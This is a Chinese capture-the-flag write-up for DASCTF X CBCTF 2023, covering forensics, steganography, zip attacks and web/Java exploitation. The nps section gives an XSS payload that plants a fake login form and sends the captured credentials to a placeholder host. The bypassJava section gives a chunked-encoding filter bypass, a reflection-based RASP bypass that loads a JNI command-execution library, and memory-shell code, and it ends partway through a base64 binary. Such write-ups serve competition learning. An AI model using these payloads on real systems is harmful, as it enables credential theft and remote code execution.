当前位置:   article > 正文

DASCTF X CBCTF 2023_dasctf java

dasctf java

目录​​​​​​​

一、justpaint

二、NoPasswd

三、SecretZip

四、justlisten

五、nps hacker

六、bypassJava

chunked 编码绕过getContentLength

绕过RASP

打入内存马执行命令拿到flag

七、Deserialize?Upload!


一、justpaint

1.先是压缩包密码爆破,密码为11452,然后开始代码审计,发现是一个线性的神经网络
 


源代码如下:

  1. import torch
  2. import torch.nn as nn
  3. import numpy as np
  4. import matplotlib.pyplot as plt
  5. from PIL import Image
  6. import cv2
  7. class JBN(nn.Module):
  8. def __init__(self):
  9. super(JBN, self).__init__()
  10. self.main = nn.Sequential(
  11. nn.Linear(100, 256),
  12. nn.ReLU(),
  13. nn.Linear(256, 512),
  14. nn.ReLU(),
  15. nn.Linear(512, 452 * 280),
  16. nn.Tanh()
  17. )
  18. def forward(self, x):
  19. img = self.main(x)
  20. img = img.view(-1, 452, 280)
  21. return img
  22. def watch_flag(img):
  23. flag = cv2.imread('./data/data/flag.png')
  24. gray_image = cv2.cvtColor(flag, cv2.COLOR_BGR2GRAY)
  25. flag_tensor = torch.from_numpy(np.array(gray_image))
  26. flag_tensor = flag_tensor.unsqueeze(0).transpose(1, 2)
  27. img_tensor = img
  28. flag_tensor = flag_tensor.unsqueeze(0)
  29. img_tensor = img_tensor.unsqueeze(0)
  30. loss_fn = torch.nn.MSELoss()
  31. loss = loss_fn(flag_tensor.float(), img_tensor)
  32. return loss
  33. jbn = JBN()
  34. g_optimizer = torch.optim.Adam(jbn.parameters(), lr=0.001)
  35. min_loss = float('inf')
  36. for epoch in range(10):
  37. random_noise = torch.randn(1, 100)
  38. jbn_img = jbn(random_noise)
  39. g_optimizer.zero_grad()
  40. g_loss = watch_flag(jbn_img)
  41. g_loss.backward()
  42. g_optimizer.step()
  43. with torch.no_grad():
  44. if g_loss < min_loss:
  45. min_loss = g_loss
  46. torch.save(jbn.state_dict(), 'jbn.pth')

2.代码审计:
(1)该网络读取flag.png后进行训练,经过几轮训练后使模型记住flag.png,最后将模型保存为flag.pth
(2)构造网络,并加载模型

  1. class JBN(nn.Module):
  2. def __init__(self):
  3. super(JBN, self).__init__()
  4. self.main = nn.Sequential(
  5. nn.Linear(100, 256),
  6. nn.ReLU(),
  7. nn.Linear(256, 512),
  8. nn.ReLU(),
  9. nn.Linear(512, 452 * 280),
  10. nn.Tanh()
  11. )
  12. def forward(self, x):
  13. img = self.main(x)
  14. img = img.view(-1, 452, 280)
  15. return img
  16. jbn = torch.load('JBN.pth')

(3)生成随机噪声的图片,要和模型需要的图片相吻合,也就是(1,100)的张量

 
test_input = torch.randn(1, 100)

(4)经过模型绘图后得到flag.png的Tensor,需要注意的是模型的最后一层用的是双曲正切函数Tanh()
 


所以这里得到的flag.png的Tensor对象的取值范围是[-1,1],所以在绘图时处理一下

 
plt.imshow((prediction + 1) / 2)

(5)最后得到生成后的图像就是flag

二、NoPasswd

1.打开doc发现需要密码,查看属性可以发现备注处有16进制字符串,且作者名为宏孩儿,尝试查看插入的宏代码。
 


2.因为doc格式可以不需要文档密码直接提取其中的vba宏代码,所以安装oletools工具,使用olevba attachment命令查看插入的宏代码,可以找到加密函数。
 


3.分析一下可以知道就是简单的异或,enc应该就是备注中的16进制字符串,写个脚本解密一下可以得到doc的密码,解开doc可以发现base64字符串,解码一下可知是zip文件。

 
  1. from Crypto.Util.number import *
  2. enc = long_to_bytes(0x60290f0225011a72697f420d1f4e402778231b)
  3. key = [19,71,122,99,65,111,43,67]
  4. abc = ""
  5. for i in range(len(enc)):
  6. abc += chr(enc[i] ^ key[i%8])
  7. print(abc)


4.打开zip文件后发现flag被加密,用010去除伪加密,同时可以发现zip数据解析错误,原因在于flag.png的文件名长度8被改成了4,修复即可打开压缩包里的图片得到flag
 


 

三、SecretZip

1.题目给了一个key文件,以及一个加密的zip,key文件内其实是压缩包明文压缩后的前半部分,因此压缩包虽然不是store的压缩模式,也能进行已知部分明文攻击。
 


2.下一个压缩包提示密码是2字节,但是是不可见字符,有很多种爆破的方法

 
  1. import zipfile
  2. import libnum
  3. from tqdm import trange
  4. for i in trange(256):
  5. for j in range(256):
  6. fz = zipfile.ZipFile('secret key.zip', 'r')
  7. password = libnum.n2s(i) + libnum.n2s(j)
  8. try:
  9. fz.extractall(pwd=password)
  10. print(password)
  11. fz.close()
  12. break
  13. except:
  14. fz.close()
  15. continue
  16. else:
  17. continue
  18. break

得到密码是b’\x9c\x07’
解压后在txt里得到三段秘钥e48d3828 5b7223cc 71851fb0
同时在zpaq文件的文件尾得到
 


因此要还原pkzip的三段秘钥,此处本意是要根据pkzip的算法,写脚本来还原加密过程
但是发现bkcrack自带了秘钥还原的接口,因此就不给出相关算法代码了
 


把得到的密码,md5以下,用bandizip或者其他工具解压zpaq即可
 

四、justlisten

1.扫描一下汉信码hint.png,获得hint。(https://tuzim.net/hxdecode/)

  1. flag length : 189
  2. 0urS3cret


2.用oursecret分离出一个类似于字典的txt文件。
 


3.用Audacity查看嘘.wav文件,看它的频谱图,得知它的频率为[800,900,1000,1100,1200,1300,1400,1500,1700,1800]以及它的每个频率变化的时间为0.1s,同时可以得知它的采样频率为44100
 


4.写一个脚本读取wav文件的数据长度

 
  1. import numpy as np
  2. import wave
  3. import scipy.fftpack as fftpack
  4. SAMPLE_RATE = 44100
  5. SAMPLE_TIME = 0.1
  6. SAMPLE_NUM = int(SAMPLE_RATE * SAMPLE_TIME) #4410
  7. LIST = [800, 900, 1000, 1100, 1200, 1300, 1400, 1500, 1600, 1700]
  8. with wave.open('嘘.wav', 'rb') as f: #读取为数组
  9. wav_data = np.frombuffer(f.readframes(-1), dtype=np.int16)
  10. N = len(wav_data) #获取数据长度
  11. print (N) #1666980
  12. a = (N/(44100*0.1))/189
  13. print(a) #2.0

可以得知数据长度N=1666980,然后再a = (N/(44100*0.1))/42来计算每个字符占了多少时长为0.2s
5.接下来处理一下数字信号,并根据分离出的字典来获取隐藏的数据

 
  1. import numpy as np
  2. import wave
  3. import scipy.fftpack as fftpack
  4. SAMPLE_RATE = 44100
  5. SAMPLE_TIME = 0.1
  6. SAMPLE_NUM = int(SAMPLE_RATE * SAMPLE_TIME) #4410
  7. LIST = [800, 900, 1000, 1100, 1200, 1300, 1400, 1500, 1600, 1700]
  8. # 傅里叶变换
  9. def fft(data):
  10. N = len(data) #获取数据长度
  11. fft_data = fftpack.fft(data) #得到频域信号
  12. abs_fft = np.abs(fft_data) #计算幅值
  13. abs_fft = abs_fft/(N/2)
  14. half_fft = abs_fft[range(N//2)] #取频域信号的前半部分
  15. return half_fft
  16. def dec_100ms(wave_data_100_ms): #解码100毫秒的音频数据
  17. fft_ret = fft(wave_data_100_ms)
  18. for index, freq in enumerate(LIST):
  19. if np.max(fft_ret[int(freq*SAMPLE_TIME) - 2 : int(freq*SAMPLE_TIME) + 2]) > 0.8:
  20. print(freq, 'Hz有值')
  21. return index
  22. def dec_sentence(wav_data): #解码整个句子
  23. _100ms_count = len(wav_data) // SAMPLE_NUM
  24. print('待解码音频包含', _100ms_count // 2, '个字')
  25. ret = ''
  26. for i in range(0, _100ms_count, 2):
  27. index = 0
  28. for k in range(2):
  29. index = index*10 + dec_100ms(wav_data[i*SAMPLE_NUM + k*SAMPLE_NUM : i*SAMPLE_NUM + (k+1)*SAMPLE_NUM])
  30. print('序号:', index)
  31. ret += string[index]
  32. return ret
  33. if __name__ == '__main__':
  34. with open('haha.txt', 'r', encoding='utf8') as f:
  35. string = f.read()
  36. with wave.open('嘘.wav', 'rb') as f: #读取为数组
  37. wav_data = np.frombuffer(f.readframes(-1), dtype=np.int16)
  38. print(dec_sentence(wav_data))

运行脚本后获得flag

五、nps hacker

比较鸡肋的一个nps控制台的XSS漏洞,不过说不定在蓝队溯源反制的时候用得上。
题目这里为了部署方便,把bridge_portweb_port设为了同一个端口,不过在攻击过程中,其实也不一定需要访问web_port
漏洞成因是bootstrapTable并未配置escape字段,再加上nps的用户默认配置文件。
例如页面模板 web/views/client/list.html:42 中并未配置 escape: true
 


conf\nps.conf 配置文件默认配置有public_vkey=123,使用该key也可以使用npc连接至nps
 


攻击者使用public_vkey作为客户端连接至nps,并可配置用户名、密码、备注等信息,web控制台的bootstrapTable并未转义这些字符,最终形成XSS漏洞
配置npc.conf,这里经过简单审计,发现remark键后存在=将被截断,简单绕过

 
  1. [common]
  2. server_addr=127.0.0.1:8024
  3. conn_type=tcp
  4. vkey=123
  5. remark=</a><sCRiPt>document.write`\u003C\u0068\u0074\u006D\u006C\u003E\u003C\u0068\u0065\u0061\u0064\u003E\u003C\u002F\u0068\u0065\u0061\u0064\u003E\u003C\u0062\u006F\u0064\u0079\u003E\u003C\u0066\u006F\u0072\u006D\u0020\u0063\u006C\u0061\u0073\u0073\u003D\u0022\u006D\u002D\u0074\u0022\u0020\u006F\u006E\u0073\u0075\u0062\u006D\u0069\u0074\u003D\u0022\u0072\u0065\u0074\u0075\u0072\u006E\u0020\u0066\u0061\u006C\u0073\u0065\u0022\u003E\u003C\u0064\u0069\u0076\u0020\u0063\u006C\u0061\u0073\u0073\u003D\u0022\u0066\u006F\u0072\u006D\u002D\u0067\u0072\u006F\u0075\u0070\u0022\u003E\u003C\u0069\u006E\u0070\u0075\u0074\u0020\u006E\u0061\u006D\u0065\u003D\u0022\u0075\u0073\u0065\u0072\u006E\u0061\u006D\u0065\u0022\u0020\u0069\u0064\u003D\u0022\u0075\u0073\u0065\u0072\u006E\u0061\u006D\u0065\u0022\u0020\u0063\u006C\u0061\u0073\u0073\u003D\u0022\u0066\u006F\u0072\u006D\u002D\u0063\u006F\u006E\u0074\u0072\u006F\u006C\u0022\u0020\u0070\u006C\u0061\u0063\u0065\u0068\u006F\u006C\u0064\u0065\u0072\u003D\u0022\u0055\u0073\u0065\u0072\u006E\u0061\u006D\u0065\u0022\u0020\u0072\u0065\u0071\u0075\u0069\u0072\u0065\u0064\u003D\u0022\u0022\u0020\u006C\u0061\u006E\u0067\u0074\u0061\u0067\u003D\u0022\u0077\u006F\u0072\u0064\u002D\u0075\u0073\u0065\u0072\u006E\u0061\u006D\u0065\u0022\u003E\u003C\u002F\u0064\u0069\u0076\u003E\u003C\u0064\u0069\u0076\u0020\u0063\u006C\u0061\u0073\u0073\u003D\u0022\u0066\u006F\u0072\u006D\u002D\u0067\u0072\u006F\u0075\u0070\u0022\u003E\u003C\u0069\u006E\u0070\u0075\u0074\u0020\u006E\u0061\u006D\u0065\u003D\u0022\u0070\u0061\u0073\u0073\u0077\u006F\u0072\u0064\u0022\u0020\u0069\u0064\u003D\u0022\u0070\u0061\u0073\u0073\u0077\u006F\u0072\u0064\u0022\u0020\u0074\u0079\u0070\u0065\u003D\u0022\u0070\u0061\u0073\u0073\u0077\u006F\u0072\u0064\u0022\u0020\u0063\u006C\u0061\u0073\u0073\u003D\u0022\u0066\u006F\u0072\u006D\u002D\u0063\u006F\u006E\u0074\u0072\u006F\u006C\u0022\u0020\u0070\u006C\u0061\u0063\u0065\u0068\u006F\u006C\u0064\u0065\u0072\u003D\u0022\u0050\u0061\u0073\u0073\u0077\u006F\u0072\u0064\u0022\u0020\u0072\u0065\u0071\u0075\u0069\u0072\u0065\u0064\u003D\u0022\u0022\u0020\u006C\u0061\u006E\u0067\u0074\u0061\u0067\u003D\u0022\u0077\u006F\u0072\u0064\u002D\u0070\u0061\u0073\u0073\u0077\u006F\u0072\u0064\u0022\u003E\u003C\u002F\u0064\u0069\u0076\u003E\u003C\u0062\u0075\u0074\u0074\u006F\u006E\u0020\u006F\u006E\u0063\u006C\u0069\u0063\u006B\u003D\u0022\u0066\u0065\u0074\u0063\u0068\u0028\u0027\u0068\u0074\u0074\u0070\u003A\u002F\u002F\u0078\u0078\u0078\u0078\u0078\u0078\u002F\u0027\u002C\u007B\u006D\u0065\u0074\u0068\u006F\u0064\u003A\u0027\u0050\u004F\u0053\u0054\u0027\u002C\u0062\u006F\u0064\u0079\u003A\u0024\u0028\u0027\u0023\u0075\u0073\u0065\u0072\u006E\u0061\u006D\u0065\u0027\u0029\u005B\u0030\u005D\u002E\u0076\u0061\u006C\u0075\u0065\u002B\u0027\u005F\u005F\u005F\u0027\u002B\u0024\u0028\u0027\u0023\u0070\u0061\u0073\u0073\u0077\u006F\u0072\u0064\u0027\u0029\u005B\u0030\u005D\u002E\u0076\u0061\u006C\u0075\u0065\u007D\u0029\u003B\u0022\u0020\u006C\u0061\u006E\u0067\u0074\u0061\u0067\u003D\u0022\u0077\u006F\u0072\u0064\u002D\u006C\u006F\u0067\u0069\u006E\u0022\u003E\u004C\u006F\u0067\u0069\u006E\u003C\u002F\u0062\u0075\u0074\u0074\u006F\u006E\u003E\u003C\u002F\u0066\u006F\u0072\u006D\u003E\u003C\u002F\u0062\u006F\u0064\u0079\u003E\u003C\u002F\u0068\u0074\u006D\u006C\u003E`</sCrIpT>
  6. 这里根据题目的语法配置一个登录框,做登录劫持
  7. <html>
  8. <head></head>
  9. <body>
  10. <form class="m-t" onsubmit="return false">
  11. <div class="form-group">
  12. <input name="username" id="username" class="form-control" placeholder="Username" required="" langtag="word-username">
  13. </div>
  14. <div class="form-group">
  15. <input name="password" id="password" type="password" class="form-control" placeholder="Password" required="" langtag="word-password">
  16. </div>
  17. <button onclick="fetch('http://xxxxxx/',{method:'POST',body:$('#username')[0].value+'___'+$('#password')[0].value});" langtag="word-login">Login</button>
  18. </form>
  19. </body>
  20. </html>

使用如下命令连接

npc -config npc.conf

稍等一段时间即可收到

六、bypassJava

题目给了jar包
审计代码发现 /read 路由存在反序列化接口,且题目存在 jackson 依赖,可以打jackson 的反序列化链子来执行任意代码。
但注意到filter进行了限制
 


这里通过 servletRequest.getContentLength() 到的值不能大于 1145,否则无法进入到反序列化的路由,而构造长度小于 1145 的payload几乎是不可能的事,所以得另外找个方法绕过。

chunked 编码绕过getContentLength

通过调试,追溯调用栈,深入源码看看这个contentLength是怎么来的,在 org.apache.coyote.http11.Http11Processor#prepareInputFilters方法中可以发现,当请求头中出现 transfer-encoding: chunked 时,contentLength的值会被设置为 -1L
 


 


 


所以使用 chunked 编码来绕过 getContentLength() 的限制。
 


成功触发反序列化(注意chunked编码报文格式)

绕过RASP

可以反序列化执行任意代码,尝试打内存马执行命令,但发现存在RASP,hook了底层执行命令的native方法 forkAndExec
 


同时发现权限不是root,没法直接读flag,要RCE才行,利用java代码读取文件目录结构,发现/home/ctf/有个simpleRASP.jar的文件,写java代码读取该文件审计
发现不仅hook了forkAndExec,还hook了 loadLibrary0
 


这下也没法直接使用常规的 System.load() 来直接加载 JNI来绕过。
但深入源码不难发现其底层的native方法 java.lang.ClassLoader.NativeLibrary#load 并未被hook,并且反射也是可以正常使用的,所以可以尝试使用反射来调用 java.lang.ClassLoader.NativeLibrary 中的 load 方法来加载恶意so文件执行命令

  1. //调用java.lang.ClassLoader$NativeLibrary类的load方法加载动态链接库
  2. ......
  3. public class EvilClass {
  4. public static native String execCmd(String cmd);
  5. }
  6. ......
  7. ClassLoader cmdLoader = EvilClass.class.getClassLoader();
  8. Class<?> classLoaderClazz = Class.forName("java.lang.ClassLoader");
  9. Class<?> nativeLibraryClazz = Class.forName("java.lang.ClassLoader$NativeLibrary");
  10. Method load = nativeLibraryClazz.getDeclaredMethod("load", String.class, boolean.class);
  11. load.setAccessible(true);
  12. Field field = classLoaderClazz.getDeclaredField("nativeLibraries");
  13. field.setAccessible(true);
  14. Vector<Object> libs = (Vector<Object>) field.get(cmdLoader);
  15. Constructor<?> nativeLibraryCons = nativeLibraryClazz.getDeclaredConstructor(Class.class, String.class, boolean.class);
  16. nativeLibraryCons.setAccessible(true);
  17. Object nativeLibraryObj = nativeLibraryCons.newInstance(EvilClass.class, LIB_PATH, false);
  18. libs.addElement(nativeLibraryObj);
  19. //这里注意要将libs放入对应的ClassLoader中(跟着源码调下就能知道)
  20. field.set(cmdLoader, libs);
  21. load.invoke(nativeLibraryObj, LIB_PATH, false);
  22. //执行命令
  23. EvilClass.execCmd("whoami");
  24. ......
  25. ......

制作JNI
准备 EvilClass.java

  1. public class EvilClass {
  2. public static native String execCmd(String cmd);
  3. }

在当前目录运行

  1. javac EvilClass.java
  2. javah EvilClass

生成 EvilClass.h 文件如下

  1. /* DO NOT EDIT THIS FILE - it is machine generated */
  2. #include <jni.h>
  3. /* Header for class EvilClass */
  4. #ifndef _Included_EvilClass
  5. #define _Included_EvilClass
  6. #ifdef __cplusplus
  7. extern "C" {
  8. #endif
  9. /*
  10. * Class: EvilClass
  11. * Method: execCmd
  12. * Signature: (Ljava/lang/String;)Ljava/lang/String;
  13. */
  14. JNIEXPORT jstring JNICALL Java_EvilClass_execCmd
  15. (JNIEnv *, jclass, jstring);
  16. #ifdef __cplusplus
  17. }
  18. #endif
  19. #endif

根据EvilClass.h文件编写EvilClass.c文件
EvilClass.c

  1. #include <string.h>
  2. #include <stdio.h>
  3. #include <sys/types.h>
  4. #include <unistd.h>
  5. #include <stdlib.h>
  6. #include "EvilClass.h"
  7. int execmd(const char *cmd, char *result)
  8. {
  9. char buffer[1024*12]; //定义缓冲区
  10. FILE *pipe = popen(cmd, "r"); //打开管道,并执行命令
  11. if (!pipe)
  12. return 0; //返回0表示运行失败
  13. while (!feof(pipe))
  14. {
  15. if (fgets(buffer, 128, pipe))
  16. { //将管道输出到result中
  17. strcat(result, buffer);
  18. }
  19. }
  20. pclose(pipe); //关闭管道
  21. return 1; //返回1表示运行成功
  22. }
  23. JNIEXPORT jstring JNICALL Java_EvilClass_execCmd(JNIEnv *env, jclass class_object, jstring jstr)
  24. {
  25. const char *cstr = (*env)->GetStringUTFChars(env, jstr, NULL);
  26. char result[1024 * 12] = ""; //定义存放结果的字符串数组
  27. if (1 == execmd(cstr, result))
  28. {
  29. // printf(result);
  30. }
  31. char return_messge[100] = "";
  32. strcat(return_messge, result);
  33. jstring cmdresult = (*env)->NewStringUTF(env, return_messge);
  34. //system();
  35. return cmdresult;
  36. }

编译生成对应动态链接库文件

gcc -fPIC -I $JAVA_HOME/include -I $JAVA_HOME/include/linux -shared -o libcmd.so EvilClass.c


将该so文件base64编码放到java代码中方便加载。
利用 TemplateImpl 来执行java代码,这里和内存马直接就放一起了,方便一些

  1. import com.sun.org.apache.xalan.internal.xsltc.DOM;
  2. import com.sun.org.apache.xalan.internal.xsltc.TransletException;
  3. import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
  4. import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
  5. import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
  6. import org.springframework.web.context.WebApplicationContext;
  7. import org.springframework.web.context.request.RequestContextHolder;
  8. import org.springframework.web.servlet.mvc.method.RequestMappingInfo;
  9. import org.springframework.web.servlet.mvc.method.annotation.RequestMappingHandlerMapping;
  10. import javax.servlet.http.HttpServletRequest;
  11. import javax.servlet.http.HttpServletResponse;
  12. import java.io.IOException;
  13. import java.io.RandomAccessFile;
  14. import java.lang.reflect.Constructor;
  15. import java.lang.reflect.Field;
  16. import java.lang.reflect.Method;
  17. import java.util.Base64;
  18. import java.util.Vector;
  19. public class EvilClass extends AbstractTranslet {
  20. public static native String execCmd(String cmd);
  21. //恶意动态链接库文件的base64编码
  22. private static final String EVIL_JNI_BASE64 = "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AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA